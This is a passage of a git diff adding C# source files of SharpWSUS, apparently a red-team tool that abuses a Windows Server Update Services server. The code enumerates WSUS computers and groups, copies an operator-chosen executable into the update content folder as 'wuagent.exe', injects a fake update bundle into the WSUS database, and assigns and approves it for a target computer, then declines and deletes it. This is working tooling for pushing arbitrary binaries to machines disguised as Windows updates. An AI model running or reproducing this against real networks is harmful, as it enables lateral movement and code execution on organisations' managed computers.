+ catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbInjectUrl2Download."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbDeploymentRevision(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbDeployRev = new StringBuilder(); + sbDeployRev.AppendLine(@"exec spDeploymentAutomation @revisionID = " + Create.iRevisionID); + sqlCommFun.CommandText = sbDeployRev.ToString(); + try + { + Console.WriteLine("DeploymentRevision"); + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeploymentRevision."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbPrepareBundle(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + StringBuilder sbPrepareBund = new StringBuilder(); + System.Data.DataTable dtDataTbl = new System.Data.DataTable(); + + sbPrepareBund.AppendLine(@"declare @iImported int"); + sbPrepareBund.AppendLine(@"declare @iLocalRevisionID int"); + sbPrepareBund.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); + sbPrepareBund.AppendLine(@""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateMSRC + @""); + sbPrepareBund.AppendLine("\t\t" + @"" + Create.UpdateKB + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"en"); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateTitle + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateDescription + ""); + sbPrepareBund.AppendLine("\t\t\t" + @"This software update can be removed by selecting View installed updates in the Programs and Features Control Panel."); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t\t" + @"" + Create.UpdateURL + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t\t\t" + @""); + sbPrepareBund.AppendLine("\t\t" + @""); + sbPrepareBund.AppendLine("\t" + @""); + sbPrepareBund.AppendLine(@"',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); + sbPrepareBund.AppendLine(@"select @iImported, @iLocalRevisionID"); + sqlCommFun.CommandText = sbPrepareBund.ToString(); + + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + dtDataTbl.Load(sqldrReader); + Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; + + Console.WriteLine("PrepareBundle"); + Console.WriteLine("PrepareBundle Revision ID: {0}", Create.iRevisionID); + + if (Create.iRevisionID == 0) + { + Console.WriteLine("Error creating update bundle"); + sqldrReader.Close(); + return false; + } + + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbPrepareBundle."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs b/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs new file mode 100644 index 000000000..214e527b5 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/ClFile.cs @@ -0,0 +1,63 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Web; + +public class ClFile +{ + public static string sFileName; + public static string sPayload; + public static string sFilePath; + public static string sArgs; + public static long lSize; + public static string sSHA1; + public static string sSHA256; + + public ClFile(string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile) + { + sFilePath = sPFilePath; + sFileName = System.IO.Path.GetFileName(sFilePath); + sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs)); + if (bPCopyFile == true) + { + FbCopyFile(sFilePath, sContentLocation); + } + lSize = new System.IO.FileInfo(sFilePath).Length; + sSHA1 = GetBase64EncodedSHA1Hash(sFilePath); + sSHA256 = GetBase64EncodedSHA256Hash(sFilePath); + } + public static bool FbCopyFile(string sFilePath, string sContentLocation) + { + try + { + //Console.WriteLine(sFilePath); + //Console.WriteLine(sContentLocation); + File.Copy(sFilePath, sContentLocation + @"\wuagent.exe", true); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbCopyFile."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543 + public string GetBase64EncodedSHA1Hash(string filename) + { + FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); + SHA1Managed sha1 = new SHA1Managed(); + { + return Convert.ToBase64String(sha1.ComputeHash(fs)); + } + } + public string GetBase64EncodedSHA256Hash(string filename) + { + FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read); + SHA256Managed sha256 = new SHA256Managed(); + { + return Convert.ToBase64String(sha256.ComputeHash(fs)); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs b/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs new file mode 100644 index 000000000..17072e026 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/ClGuid.cs @@ -0,0 +1,30 @@ +using System; + +public class ClGuid +{ + public static Guid gUpdate; + public static Guid gBundle; + public static Guid gTargetGroup; + //public ClGuid() + //{ + // gUpdate = Guid.NewGuid(); + // gBundle = Guid.NewGuid(); + // gTargetGroup = Guid.NewGuid(); + //} + + public static void GenerateUpdateGUID() + { + gUpdate = Guid.NewGuid(); + } + + public static void GenerateBundleGUID() + { + gBundle = Guid.NewGuid(); + } + public static void GenerateTargetGroupGUID() + { + gTargetGroup = Guid.NewGuid(); + } + + +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Connect.cs b/repos/SharpWSUS/SharpWSUS/lib/Connect.cs new file mode 100644 index 000000000..f8d5457b2 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Connect.cs @@ -0,0 +1,39 @@ +using System; +using System.Data.SqlClient; + +public class Connect +{ + public static SqlConnection FsqlConnection() + { + SqlConnection sqlcQuery = new SqlConnection(); + + if (Server.sDatabaseInstance.Contains("##WID") || Server.sDatabaseInstance.Contains("##SSEE")) + { + if (Server.sOS.Contains("Server 2008")) + { + sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + Server.sDatabaseName + @";Integrated Security=True"; + } + else + { + sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=" + Server.sDatabaseName + @"; Integrated Security=True"; + } + } + else + { + sqlcQuery.ConnectionString = @"Server=" + Server.sDatabaseInstance + @";Database=" + Server.sDatabaseName + @"; Integrated Security=True"; + } + + try + { + sqlcQuery.Open(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FsqlConnection."); + + Console.WriteLine($"Error Message: {e.Message}"); + return null; + } + return sqlcQuery; + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Enum.cs b/repos/SharpWSUS/SharpWSUS/lib/Enum.cs new file mode 100644 index 000000000..95589bcd6 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Enum.cs @@ -0,0 +1,135 @@ +using Microsoft.Win32; +using System; +using System.Data.SqlClient; + +public class Enum +{ + public static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spConfiguration"; + try + { + //Gather Information via SQL + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation")); + Server.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber")); + Console.WriteLine("\r\n################# WSUS Server Enumeration via SQL ##################"); + Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation"); + Console.WriteLine("-----------------------------------------------"); + Console.WriteLine("{0}, {1}, {2}\r\n", Environment.MachineName, Server.iPortNumber, Server.sLocalContentCacheLocation); + sqldrReader.Close(); + return true; + } + return false; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbEnumAllComputers(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllComputers"; + try + { + Console.WriteLine("\r\n####################### Computer Enumeration #######################"); + Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumAllComputers."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + public static bool FbEnumDownStream(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllDownstreamServers"; + try + { + Console.WriteLine("\r\n####################### Downstream Server Enumeration #######################"); + Console.WriteLine("ComputerName, OSVersion, LastCheckInTime"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumDownStream."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbEnumGroups(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetAllTargetGroups"; + try + { + Console.WriteLine("\r\n####################### Group Enumeration #######################"); + Console.WriteLine("GroupName"); + Console.WriteLine("---------------------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + Console.WriteLine("{0}", sqldrReader.GetValue(sqldrReader.GetOrdinal("Name"))); + } + sqldrReader.Close(); + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbEnumGroups."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbGetWSUSServer() + { + try + { + const string keyName = @"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate"; + string WSUSServer = (string)Registry.GetValue(keyName, "WUServer", "WSUS Registry Key Not Found!"); + + Console.WriteLine("WSUS Server: {0}", WSUSServer); + + return true; + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetWSUSServer."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Group.cs b/repos/SharpWSUS/SharpWSUS/lib/Group.cs new file mode 100644 index 000000000..339217595 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Group.cs @@ -0,0 +1,178 @@ +using System; +using System.Data.SqlClient; + +public class Group +{ + public static bool GroupExists = false; + public static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'"; + try + { + Console.WriteLine("\r\nTargeting {0}", sTargetComputer); + Console.WriteLine("TargetComputer, ComputerID, TargetID"); + Console.WriteLine("------------------------------------"); + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID")); + if (Server.sTargetComputerID.Length != 0) + { + sqldrReader.Close(); + sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + Server.sTargetComputerID + "')"; + sqldrReader = sqlCommFun.ExecuteReader(); + if (sqldrReader.Read()) + { + Server.sTargetComputerTargetID = (int)sqldrReader.GetValue(0); + Console.WriteLine("{0}, {1}, {2}", sTargetComputer, Server.sTargetComputerID, Server.sTargetComputerTargetID); + sqldrReader.Close(); + return true; + } + else + { + Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, Server.sTargetComputerID); + sqldrReader.Close(); + return false; + } + } + else + { + Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); + sqldrReader.Close(); + return false; + } + } + else + { + Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); + return false; + } + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetComputerTarget."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + } + + public static bool FbGetGroupID(SqlCommand sqlCommFun, string GroupName) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spGetAllTargetGroups"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + int count = sqldrReader.FieldCount; + while (sqldrReader.Read()) + { + string TargetGroupName = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("Name")); + if (TargetGroupName == GroupName) + { + ClGuid.gTargetGroup = (Guid)sqldrReader.GetValue(sqldrReader.GetOrdinal("TargetGroupID")); + GroupExists = true; + } + } + } + catch + { + Console.WriteLine("\r\nGroup does not exist already."); + return true; + } + sqldrReader.Close(); + return true; + } + + public static bool FbCreateGroup(SqlCommand sqlCommFun, string GroupName) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spCreateTargetGroup @name='" + GroupName + "', @id='" + ClGuid.gTargetGroup + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Group Created: {0}", GroupName); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbCreateGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbRemoveGroup(SqlCommand sqlCommFun) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeleteTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Remove Group"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbRemoveGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbAddComputerToGroup(SqlCommand sqlCommFun, int ComputerTargetID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spAddTargetToTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Added Computer To Group"); + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbAddComputerToGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbRemoveComputerFromGroup(SqlCommand sqlCommFun, int ComputerTargetID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spRemoveTargetFromTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + + Console.WriteLine("Removed Computer From Group"); + + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbRemoveComputerFromGroup."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Reg.cs b/repos/SharpWSUS/SharpWSUS/lib/Reg.cs new file mode 100644 index 000000000..95c4ad547 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Reg.cs @@ -0,0 +1,86 @@ +using System; +using System.Text; +using System.Runtime.InteropServices; + +public class Reg +{ + public enum RegSAM + { + QueryValue = 0x0001, + SetValue = 0x0002, + CreateSubKey = 0x0004, + EnumerateSubKeys = 0x0008, + Notify = 0x0010, + CreateLink = 0x0020, + WOW64_32Key = 0x0200, + WOW64_64Key = 0x0100, + WOW64_Res = 0x0300, + Read = 0x00020019, + Write = 0x00020006, + Execute = 0x00020019, + AllAccess = 0x000f003f + } + public static class RegHive + { + public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); + public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u); + } + public static class RegistryWOW6432 + { + [DllImport("Advapi32.dll")] + static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult); + + [DllImport("Advapi32.dll")] + static extern uint RegCloseKey(int hKey); + + [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")] + public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData); + + static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName) + { + return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName); + } + + static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName) + { + return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName); + } + + public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName) + { + //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002; + int hkey = 0; + + try + { + uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey); + if (0 != lResult) + { + return "ERROR_FILE_NOT_FOUND"; + } + uint lpType = 0; + uint lpcbData = 1024; + StringBuilder AgeBuffer = new StringBuilder(1024); + uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData); + if (lResultv != 0) + { + return "ERROR_FILE_NOT_FOUND"; + } + byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString()); + return ByteArrayToString(arr); + } + finally + { + if (0 != hkey) RegCloseKey(hkey); + } + } + public static string ByteArrayToString(byte[] ba) + { + if (BitConverter.IsLittleEndian) + Array.Reverse(ba); + + string hex = BitConverter.ToString(ba); + return hex.Replace("-", ""); + } + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Server.cs b/repos/SharpWSUS/SharpWSUS/lib/Server.cs new file mode 100644 index 000000000..98dd6d3f4 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Server.cs @@ -0,0 +1,140 @@ +using System; +using System.Net; + +public class Server +{ + public static bool bWSUSInstalled = true; + public static string sOS; + public static string sDatabaseInstance; + public static string sDatabaseName; + public static string sLocalContentCacheLocation; + public static string sComputerName; + public static int iPortNumber; + public static bool bSSL; + public static string sTargetComputerID; + public static int sTargetComputerTargetID; + + public static void GetServerDetails() + { + FvCheckSSL(); + FvFullComputerName(); + FvOSDetails(); + FvDatabaseBaseName(); + FvContentDirectory(); + } + public static void FvContentDirectory() + { + string sContentDirectoryTemp = string.Empty; + sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); + if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") + { + sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); + if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp); + sContentDirectoryTemp = ReverseString(sContentDirectoryTemp); + sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp); + return; + } + public static void FvFullComputerName() + { + sComputerName = Dns.GetHostEntry("LocalHost").HostName; + } + public static void FvDatabaseBaseName() + { + string sDBServerTemp = string.Empty; + sDBServerTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); + if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") + { + sDBServerTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); + if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sDBServerTemp = HEX2ASCII(sDBServerTemp); + sDatabaseInstance = ReverseString(sDBServerTemp); + + string sDBNameTemp = string.Empty; + sDBNameTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); + if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") + { + sDBNameTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); + if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); + return; + } + } + sDBNameTemp = HEX2ASCII(sDBNameTemp); + sDatabaseName = ReverseString(sDBNameTemp); + return; + } + public static void FvOSDetails() + { + string sOSTemp = string.Empty; + sOSTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); + if (sOSTemp == "ERROR_FILE_NOT_FOUND") + { + sOSTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); + if (sOSTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + Console.WriteLine("Something went wrong, unable to detect OS version."); + return; + } + } + sOSTemp = HEX2ASCII(sOSTemp); + sOS = ReverseString(sOSTemp); + } + public static void FvCheckSSL() + { + string sSSLTemp = string.Empty; + sSSLTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); + if (sSSLTemp == "ERROR_FILE_NOT_FOUND") + { + sSSLTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); + if (sSSLTemp == "ERROR_FILE_NOT_FOUND") + { + bWSUSInstalled = false; + return; + } + } + if (sSSLTemp == "01") + { + bSSL = true; + } + else + { + bSSL = false; + } + } + //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp + public static string HEX2ASCII(string hex) + { + string res = String.Empty; + for (int a = 0; a < hex.Length; a = a + 2) + { + string Char2Convert = hex.Substring(a, 2); + int n = Convert.ToInt32(Char2Convert, 16); + char c = (char)n; + res += c.ToString(); + } + return res; + } + //https://www.dotnetperls.com/reverse-string + public static string ReverseString(string s) + { + char[] arr = s.ToCharArray(); + Array.Reverse(arr); + return new string(arr); + } +} diff --git a/repos/SharpWSUS/SharpWSUS/lib/Status.cs b/repos/SharpWSUS/SharpWSUS/lib/Status.cs new file mode 100644 index 000000000..9b4238611 --- /dev/null +++ b/repos/SharpWSUS/SharpWSUS/lib/Status.cs @@ -0,0 +1,150 @@ +using System; +using System.Data.SqlClient; + +public class Status +{ + public static bool FbApproveUpdate(SqlCommand sqlCommFun, string UpdateID, string Approver) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeployUpdate @updateID='" + UpdateID + "',@revisionNumber=204,@actionID=0,@targetGroupID='" + ClGuid.gTargetGroup + "',@adminName=N'" + Approver + "',@isAssigned=1,@downloadPriority=1,@failIfReplica=0,@isReplica=0"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("Approved Update"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbApproveUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID) + { + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("\r\n[*] Update declined.\r\n"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + sqldrReader.Close(); + Console.WriteLine("\r\n[*] Update deleted.\r\n"); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); + Console.WriteLine($"Error Message: {e.Message}"); + Console.WriteLine("If you are in a lab and this timed out, this could occur if there are too many old patches in the database causing performance issues."); + return false; + } + sqldrReader.Close(); + return true; + } + + public static bool FbGetUpdateStatus(SqlCommand sqlCommFun, string UpdateID) + { + int LocalUpdateID = 0; + SqlDataReader sqldrReader; + sqlCommFun.CommandText = @"SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '" + UpdateID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetUpdateStatus."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + + if (sqldrReader.Read()) + { + LocalUpdateID = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalUpdateID")); + sqldrReader.Close(); + } + else + { + Console.WriteLine("\r\nUpdate ID " + UpdateID + " cannot be found."); + return false; + } + + sqlCommFun.CommandText = @"SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID='" + LocalUpdateID + "' AND TargetID='" + Server.sTargetComputerTargetID + "'"; + try + { + sqldrReader = sqlCommFun.ExecuteReader(); + } + catch (Exception e) + { + Console.WriteLine("\r\nFunction error - FbGetUpdateStatus2."); + + Console.WriteLine($"Error Message: {e.Message}"); + return false; + } + + if (sqldrReader.Read()) + { + int SummarizationState = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("SummarizationState")); + if (SummarizationState == 1) + { + Console.WriteLine("\r\n[*] Update is not needed"); + return true; + } + if (SummarizationState == 2) + { + Console.WriteLine("\r\n[*] Update is not installed"); + return true; + } + if (SummarizationState == 3) + { + Console.WriteLine("\r\n[*] Update is downloaded"); + return true; + } + if (SummarizationState == 4) + { + Console.WriteLine("\r\n[*] Update is installed"); + return true; + } + if (SummarizationState == 5) + { + Console.WriteLine("\r\n[*] Update failed"); + return true; + } + if (SummarizationState == 6) + { + Console.WriteLine("\r\n[*] Reboot Required"); + return true; + } + else + { + Console.WriteLine("\r\n[*] Update Info was found but state is unknown"); + return true; + } + } + else + { + Console.WriteLine("\r\nUpdate Info cannot be found."); + } + + sqldrReader.Close(); + return true; + } +}